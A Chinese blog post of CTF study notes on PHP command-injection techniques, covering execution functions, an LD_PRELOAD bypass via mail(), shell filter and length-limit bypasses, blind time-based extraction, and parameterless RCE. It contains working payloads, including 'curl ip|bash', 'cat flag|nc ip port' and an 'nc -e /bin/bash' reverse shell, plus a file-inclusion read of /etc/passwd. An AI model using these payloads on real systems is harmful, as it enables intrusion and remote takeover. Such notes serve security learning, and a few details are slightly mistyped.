php命令执行

命令执行危险函数认识

  • system()

    • 执行外部程序 并且显示输出
  • exec(string $command,array $output【可选】)

    • 执行外部程序 将输出储存到数组$output里
  • passthru()

    • 执行外部程序 并且显示原始输出
  • shell_exec()

    • 通过shell环境执行命令,并且将完整的输出以字符串的形式返回,但这个返回不是返回到页面上 而是比如说$output = shell_exec(ls)
    • 要通过 echo $output 才能输出到页面上
  • popen($cmd,'r')

    • $ben = popen($cmd,'r');
      while($s=fgets($ben)){
      print_r($s);
      }
    • popen函数打开了一个进程文件指针 执行了$cmd
    • 然后通过fgets函数逐行读取他的输出
    • 然后将输出通过print_r输出到页面
  • proc_open()

    • $cmd = $_GET["cmd"]; // 通过 GET 请求获取命令
      $array = array(
      array("pipe", "r"), // 标准输入
      array("pipe", "w"), // 标准输出内容
      array("file", "/tmp/error-output.txt", "a") // 标准输出错误
      );

      $fp = proc_open($cmd, $array, $pipes); // 打开一个进程通道
      echo stream_get_contents($pipes[1]); // 输出命令的标准输出内容
      proc_close($fp); // 关闭进程通道

    • 上面的数组是标准的写法 分别是输入 输出 报错内容

    • 下面 是打开一个进程通道 执行传递的命令 并且返回一个资源指针$fp和一个文件指针数组$pipes

    • 最后通过stream_get_contents读取输出

    • 然后用echo输出 最后关闭进程通道

  • 反引号

    • 反引号能直接执行命令
    • 比如 $cmd
    • 不过需要echo才能输出到页面
  • pcntl_exec

    • 这个函数是php中的一个扩展函数
    • $binary=""//可执行文件的路径
    • $args=["""""]//参照数组
    • pcntl_exec($binary,$args);
    • echo"xx";
    • 这个函数的功能是 用于替换当前进程的映象 并且执行新的程序
    • 所以如果他执行成功 就不会有echo 失败的话 echo就会继续执行
    • 新的进程就是调用的那个文件和参数数组

LD_PRELOAD绕过原理介绍

  • mail 函数
    • 内嵌在php里
    • 先vim demo.php
      • 里面写入mail(",",",")
      • 然后用strace -o 1.txt -f php demo.php
      • 这一句是用文档的形式记录我php demo.php 执行的内容
      • 然后用cat 1.txt | grep execve
      • 这一句是 检查有哪些是执行文件被调用里
      • 发现里面有sendmail这个文件
      • 使用readelf -Ws /usr/sbin/sendmail
      • 然后发现一个 geteuid 函数
      • 这个时候我们编辑一个库文件 demo.c
      • void payload(){
      • system("echo 'xx' ")
      • }
      • int geteuid(){
        • unsetenv("LD_PRELOAD");
        • payload();
      • } 然后把这个文件编译成.so文件 生成动态链接库文件
      • gcc -shared -fPIC demo.c -o demo.so
      • 然后把一开始那个demo.php在开头加上一行
      • putenv("LD_PRELOAD=./demo.so");
      • 表示执行前先加载这个库文件
    • 绕过条件
      • 能够上传自己的.so文件
      • 能够设置LD_PRELOAD变量的值,比如putenv函数并且未被禁止
      • 存在可以控制php启动外部程序的函数并且能够执行
      • 因为新的进程会加载LD_PRELOAD中的.so文件
      • 比如mail()等
  • imagick
    • 需要扩展安装

操作系统连接符

    • 用分号链接 前后都能执行 而且前面命令正确与否都不影响后面命令的执行
  • &
    • 提交后必须要url编码
    • 而且前面命令不影响后面的执行
  • 两个$
    • 如果前面的命令执行成功,才能执行后面的
    • 如果前面不成功,则两条都无法执行
  • |
    • 把前面命令的结果 作为 | 后面命令的参数
    • 然后执行后面的命令
  • ||
    • 类似于if else语句
    • 如果前面的命令执行成功,则后面的命令不再执行
    • 反之执行后面的命令

空格过滤

  • 大括号{}
    • {cat,flag.txt} 第一个作为命令,第二个作为参数
  • 使用$IFS ${IFS} $IFS$9
  • 重定向字符<,<>;
    • <表示的是输入重定向的意思,就是把<后面的文件取代键盘成为新的输入设备
  • %09 TAB %20 SPACE
  • 在正则匹配使用^等方法只匹配一行的情况下 可以先用%0a换行 然后再执行某些被过滤的命令

文件名过滤绕过

  • ?代表单个字符,前提是这个字符要存在
    • 比如flag.php 可以写成????.???
  • *代表任意字符
    • 比如f*.php *
  • 单双引号
    • 比如fla""g.p""hp 或者fla''g.p''hp
  • \ 反斜线
    • 比如 fla\g.ph\p
    • \在Linux里是命令连接符
  • 特殊变量
    • 比如$1到$9、$@和$*等
    • 因为他们的输出都为空
  • 内联执行
    • 定义变量 比如$a=f;
    • 然后cat $alag.php
  • 环境变量
    • ${PATH:5:1}\
    • 意思是使用环境变量PATH里的第五个字符里的第一位
    • 从0开始数

文件读取命令的绕过

  • tac 反向显示
  • more 一页一页显示 在linux里按空格翻页
  • less 与more 相似
  • tail 查看末尾几行 最多十行
  • nl 显示的时候 顺便输出行号
  • od 二进制的方式读取
  • xxd 读取二进制文件
  • sort 主要用来排序文件
  • uniq 报告或删除文件中重复的行
  • file -f 报错出具体内容
  • grep
    • grep 搜索的字符 匹配的文件
    • grep { fla*.php

编码绕过

  • base64编码
  • echo base64编码后的字符串 | base64 -d | /bin/bash 最后一项有很多能用的 比如直接bash 或者sh
  • base32编码
    -HEX编码 即ASCII编码
    -echo 编码后字符串 | xxd -r -p | /bin/bash
  • shellcode编码
  • shellcode是ASCII编码用/x来表示
  • 这里用printf替代echo即可

无回显时间盲注

  • sleep 3
    • 表示三秒之后再执行
  • awk NR==1
  • 表示返回第一行的结果
  • cut -c 1
  • 表示返回第一个字符的结果
  • if语句
  • if [];then ;fi
  • 表示[]里面是判断 ,如果真就执行then后面的语句 假就fi 注意if和[]中间要用空格隔开
  • if [$(cat flag | awk NR==1 | cut -c 1)==a];then echo "right";fi
  • 可以用python写一个脚本跑值 类似于sql盲注的思路

长度过滤绕过前置知识

  • >
  • 例如 echo dada > a
  • 就会把dada写到a里面 如果还是一个大于号写入值 就会覆盖原有的内容 可以用两个大于号去新增内容
  • 使用>>追加内容
  • 使用/进行命令换行 上面提到过 就是命令链接的作用
  • ls-t
  • 表示先近后远的按照时间来排序
  • 但要注意不能复制粘贴 一下生成几个文件 这样用时间排序是会出错的
  • 可以利用>写很多个文件 只有名字那种 然后用ls -t 会发现 结果是一个有用的排序 比如 cat \ flag这种形式 中间可以多用几个\链接 然后把这个ls -t的结果>某个文件里 然后. 这个文件 就可以执行了
  • 然后就能读出flag的值里
  • sh执行 或者. 执行是一样的
  • dir *
  • 把第一个文件的文件名作为命令 第二个或者后面的作为参数 来执行
  • 比如说 cat 然后 flag.php
  • rev 可以反过来显示文件的内容
  • 123 显示成 321

长度为7的绕过方法

  • 先构造期望执行的指令
  • cat flag|nc ip 端口号
  • 思路
  • 利用 > 创造很短的文件名
  • ls -t 按照时间排序列出文件名,按行存储
  • \连接换行命令
  • sh从文件中读取命令
  • 具体内容
  • ca\

  • t\ \

  • flag\

  • |n\

  • c\ \

  • ip
  • 端口
  • 注意文件名不能重复
  • ls -t>a
  • sh a即可反弹shell
  • 也可以写Python脚本执行

长度为5的绕过

  • 期望执行指令
  • curl ip|bash
  • 利用这个 在这个ip的index.html下写好nc ip 端口 -e /bin/bash
  • 第一步 构造ls -t>y
  • ls\

  • 再创建文件 ls>_
  • \ \

  • -t\

  • >y

  • 然后ls>>_
  • sh _即可实现ls -t
  • 然后再把期待执行的指令给写进去 先不用sh _
  • 全写完再执行 sh _ sh y

长度为4的绕过

  • 这里新的问题是 追加到_用不了了

  • 仍要先构造ls -t>g

  • 这里用到dir 和rev 一个是一行内展示文件 另一个是倒序

  • 先构造ls -t>g

  • g>

  • t-

  • sl

  • dir

  • 在-t后面加h,不影响命令执行 但可以改变顺序

  • 如果敲一个*号

  • 就会执行第一个文件名的命令 把后面的当做参数

  • 因为第一个是dir 所以就是dir 列出后面的文件名

  • *>v 这样v就是那些排序

  • 这时候rev v 就能把v倒序排列

  • rev 可以用 * 代替

  • 所以 牛逼的就是 *v>x

  • 注意点 为了防止g后面有其他文件名影响 可以多创建一个文件 g;

  • 然后构造反弹shell 和上面一样是curl ip|bash 不过ip要用16进制来写

  • 利用文件包含漏洞

  • 先是c=include%0a$_GET[1]?>&1=/etc/passwd

  • 表示包含一个参数1 然后对1进行定义 这里因为分号被过滤 不过最后一个分号不用写 然后1的包含 如果是flag无法输出 所以用php一个伪协议 然后base64 decode 就行

  • include 可以用 require 代替

  • ?c=data://text/plain,

    • data为协议

无参数命令执行请求头绕过

  • php7.3

  • 条件是一个正则表达式 过滤掉所有的 a() 形式 以及R表示递归 所以a(b())等等都会被过滤 但例题中要求过滤完只剩下一个分号 所以我们的payload就只能是这种形式 所以叫做无参数

  • getallheaders()这个函数是获得所有的http请求头的内容 不过需要print_r 才能打印到页面

  • 可以使用bp 更方便改包发包

  • 注意点 我们bp里拦截下来的请求头的值 和 print_r打印到页面里的顺序是相反的

  • 所以我们可以修改某个项的内容 来进行命令执行

  • pos()函数 把第一项的内容显示出来

  • end() 和pos相反

  • 比如我们可以把最后一项 的值 改成 system('ls');

  • 然后eval(pos(getallheaders()))

  • 还有一个 apache_request_header 作用和getallheaders相似 不过只能在Apache使用

无参数命令执行之全局变量RCE

  • PHP5/7
  • get_defined_vars() 返回所有已定义变量的值所组成的数组
  • 返回数组的顺序是 GET->POST->COOKIE->FILES
  • pos end 仍然可以用
  • 还能用&加上别的指令 比如&cmd=system('ls');
  • 而且实际上这样写进去是分成两行的 所以能用end 取出第二个 就是cmd的值
  • eval同样能用 还有assert
  • python脚本

无参数命令执行之sessionRCE

  • php5
  • session_start() 启动新会话或者重用现有回话 返回值只有1或者0
  • session_id(session_start) 这样请求头的cookie里面就要sessionid这一项里 而且值很长 对方也能接收到
  • 所以例题里面 get传参就写 session_id(session_start()) 然后bp拦截 修改cookie里sessionid的值就行
  • print_r修改为show_source()
  • sessionid改为./flag 配合上一行 就能读取值了
  • 如果是eval的话 里面phpsessionid的值就要用hex编码变成16进制
  • 外面再用hex2bin()函数转换成2进制 然后eval执行

无参数命令执行之scandir读取

  • scandir()
    • 列出指定路径中的文件和目录
    • 类似ls
  • getcwd()
    • 取得当前工作目录
    • 类似pwd
  • current()
    • 返回数组中的当前值
    • 好像就是第一个值
  • array_reverse()
    • 返回顺序相反的数组
  • array_filp()
    • 把键值对互换
  • next()
    • 将数组中的内部指针向前移动
  • array_rand()
    • 从数组中随机取出一个或者多个键
  • chdir()
    • 和cd类似 用于改变当前工作目录
  • strrev()
    • 用于反转给定的字符串
  • crypt()
    • 用来加密
  • hebrevc()
    • 转换流的方向
  • localeconv()
    • 显示的数组第一项是.
    • 所以可以利用这个函数 加上current scandir print_r 读取当前目录下的文件名
    • show_source current 加上上面的 就能查看文件里
  • 查看上级目录的文件
    • dirname(getcwd()) 显示上一级目录路径
    • 但是我们需要使用chdir来修改执行目录
      • chidir(dirname(getcwd()))
      • 这里getcwd是用来获取当前工作目录的路径
      • dirname是用来提取给定路径的目录部分,也就是上一级的路径
      • chidir函数用于改变当前工作目录到指定的目录
      • 也就是说改变命令执行的路径
  • 根目录
    • 用serialize(array())序列化一个数组
    • 然后crypt加密
    • strrev倒序 如果倒序后第一个是斜杆 可以chr ord 互转 因为他们只对第一个字符起作用 所以只剩一个字符
    • 就有可能获取到斜杆
    • 可以利用bp爆破 获取某个特定文件内容 不过还需要多研究
posted @   DawnLM  阅读(166)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现

阅读目录(Content)

此页目录为空

点击右上角即可分享
微信分享提示